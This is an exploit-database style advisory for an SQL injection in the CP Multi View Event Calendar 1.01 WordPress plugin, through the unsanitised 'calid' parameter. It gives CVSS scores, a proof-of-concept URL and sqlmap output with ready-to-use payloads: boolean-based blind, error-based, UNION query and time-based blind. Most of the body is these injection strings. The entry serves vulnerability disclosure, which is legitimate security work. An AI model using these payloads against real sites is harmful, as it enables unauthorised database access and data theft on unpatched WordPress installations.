WordPress CP Multi View Event Calendar 1.01 SQL Injection

2014-10-24 / 2014-11-05
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

?###################### # Exploit Title : CP Multi View Event Calendar 1.01 SQL Injection Vulnerability # Exploit Author : Claudio Viviani # Software Link : https://downloads.wordpress.org/plugin/cp-multi-view-calendar.zip # Date : 2014-10-23 # Tested on : Windows 7 / Mozilla Firefox Windows 7 / sqlmap (0.8-1) Linux / Mozilla Firefox Linux / sqlmap 1.0-dev-5b2ded0 ###################### # Description CP Multi View Event Calendar 1.01 suffers from SQL injection vulnerability calid variable is not sanitized. ###################### # PoC http://localhost/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 [Sqli] # Sqlmap --- Place: GET Parameter: calid Type: boolean-based blind Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE) Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 RLIKE (SELECT (CASE WHEN (9095=9095) THEN 1 ELSE 0x28 END)) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 AND (SELECT 3807 FROM(SELECT COUNT(*),CONCAT(0x7171736971,(SELECT (CASE WHEN (3807=3807) THEN 1 ELSE 0 END)),0x716b716671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) Type: UNION query Title: MySQL UNION query (NULL) - 14 columns Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171736971,0x6f7642724e6743615973,0x716b716671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL# Type: AND/OR time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query) Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 AND 8168=BENCHMARK(5000000,MD5(0x4a4a6d41)) --- ##################### Discovered By : Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww #####################

References:

https://downloads.wordpress.org/plugin/cp-multi-view-calendar.zip


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